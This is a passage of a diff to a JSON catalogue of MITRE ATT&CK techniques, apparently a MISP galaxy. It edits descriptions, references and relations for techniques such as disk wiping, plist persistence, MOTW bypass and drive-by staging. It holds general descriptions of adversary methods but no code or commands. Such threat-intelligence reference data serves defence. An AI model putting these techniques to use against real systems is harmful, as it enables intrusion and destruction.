broad set of consumers but only move on to additional tactics on specific victims. Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency, specifically with the widespread usage of third-party advertising libraries.(Citation: Grace-Advertisement)(Citation: NowSecure-RemoteCode)", + "description": "As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.\n\nThird-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).", "meta": { - "external_id": "SPC-21", + "external_id": "APP-6", "kill_chain": [ "mitre-mobile-attack:initial-access" ], @@ -15517,28 +13956,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1474", "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-1.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-10.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-11.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-12.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-13.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-14.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-15.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-16.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-17.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-18.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-19.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-2.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-20.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-21.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-3.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-4.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-6.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/supply-chain-threats/SPC-9.html", "https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf", "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" ] @@ -15562,15 +13979,7 @@ "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html" ] }, - "related": [ - { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8e27551a-5080-4148-a584-c64348212e4f", "value": "Delete Device Data - T1447" }, @@ -15590,15 +13999,7 @@ "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", "value": "Carrier Billing Fraud - T1448" }, @@ -15640,14 +14041,6 @@ "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1494", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1494", "https://content.fireeye.com/apt/rpt-apt38", @@ -15674,7 +14067,15 @@ "https://attack.mitre.org/techniques/T1455" ] }, - "related": [], + "related": [ + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f", "value": "Exploit Baseband Vulnerability - T1455" }, @@ -15762,44 +14163,10 @@ "uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "value": "Hijack Execution Flow - T1574" }, - { - "description": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).\n\nFor example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)", - "meta": { - "external_id": "T1647", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Command: Command Execution", - "File: File Modification", - "Process: Process Creation", - "Service: Service Creation" - ], - "mitre_platforms": [ - "macOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1647", - "https://fileinfo.com/extension/plist", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "https://www.welivesecurity.com/wp-content/uploads/200x/white-papers/osx_flashback.pdf" - ] - }, - "uuid": "7d20fff9-8751-404e-badd-ccd71bda0236", - "value": "Plist File Modification - T1647" - }, { "description": "Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)", "meta": { "external_id": "T1487", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/", "https://attack.mitre.org/techniques/T1487", @@ -15825,14 +14192,6 @@ "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1488", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1488", "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf", @@ -15877,7 +14236,6 @@ "Network" ], "refs": [ - "https://adsecurity.org/?p=2053", "https://attack.mitre.org/techniques/T1556", "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", "https://technet.microsoft.com/en-us/library/dn487457.aspx", @@ -15903,15 +14261,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html" ] }, - "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "8c7862ff-3449-4ac6-b0fd-ac1298a822a5", "value": "Uninstall Malicious Application - T1576" }, @@ -15983,7 +14333,7 @@ "value": "Phishing for Information - T1598" }, { - "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", + "description": "Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", "meta": { "external_id": "T1599", "kill_chain": [ @@ -15997,8 +14347,7 @@ "Network" ], "refs": [ - "https://attack.mitre.org/techniques/T1599", - "https://securelist.com/lazarus-threatneedle/100803/" + "https://attack.mitre.org/techniques/T1599" ] }, "uuid": "b8017880-4b1e-42de-ad10-ae7ac6705166", @@ -16030,16 +14379,49 @@ }, "related": [ { - "dest-uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" } ], "uuid": "6636bc83-0611-45a6-b74f-1f3daf635b8e", "value": "At (Linux) - T1053.001" }, + { + "description": "Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. \n\nAn adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).\n\nNote: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks.", + "meta": { + "external_id": "T1053.002", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation", + "Scheduled Job: Scheduled Job Creation" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1053/002", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://technet.microsoft.com/library/dd315590.aspx", + "https://twitter.com/leoloobeek/status/939248813465853953" + ] + }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "type": "subtechnique-of" + } + ], + "uuid": "f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "value": "At (Windows) - T1053.002" + }, { "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", "meta": { @@ -16057,7 +14439,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1553/005", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8", - "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7", "https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316", "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/", "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" @@ -16167,7 +14548,7 @@ "value": "One-Way Communication - T1102.003" }, { - "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", "meta": { "external_id": "T1608.004", "kill_chain": [ @@ -16261,30 +14642,6 @@ "uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "value": "SID-History Injection - T1134.005" }, - { - "description": "Adversaries may use an existing, legitimate external Web service channel as a means for sending commands to a compromised system without receiving return output. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. \n\n \n\nPopular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ", - "meta": { - "external_id": "T1481.003", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1481/003" - ] - }, - "related": [ - { - "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", - "type": "subtechnique-of" - } - ], - "uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", - "value": "One-Way Communication - T1481.003" - }, { "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "meta": { @@ -16352,7 +14709,7 @@ "value": "AS-REP Roasting - T1558.004" }, { - "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.", + "description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1547.007", "kill_chain": [ @@ -16368,8 +14725,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1547/007", - "https://support.apple.com/en-us/HT204005", - "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" ] }, @@ -16423,12 +14778,6 @@ "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", "meta": { "external_id": "CAPEC-641", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1073", "https://capec.mitre.org/data/definitions/641.html", @@ -16463,46 +14812,14 @@ "https://attack.mitre.org/techniques/T1605" ] }, - "related": [ - { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "value": "Command-Line Interface - T1605" }, - { - "description": "Adversaries may generate network traffic using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.", - "meta": { - "external_id": "T1509", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1509" - ] - }, - "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", - "value": "Non-Standard Port - T1509" - }, { "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1164", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1164", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" @@ -16551,12 +14868,6 @@ "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "meta": { "external_id": "T1178", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://adsecurity.org/?p=1772", "https://attack.mitre.org/techniques/T1178", @@ -16583,14 +14894,6 @@ "description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.", "meta": { "external_id": "T1188", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1188" ] @@ -16608,7 +14911,7 @@ "value": "Multi-hop Proxy - T1188" }, { - "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an 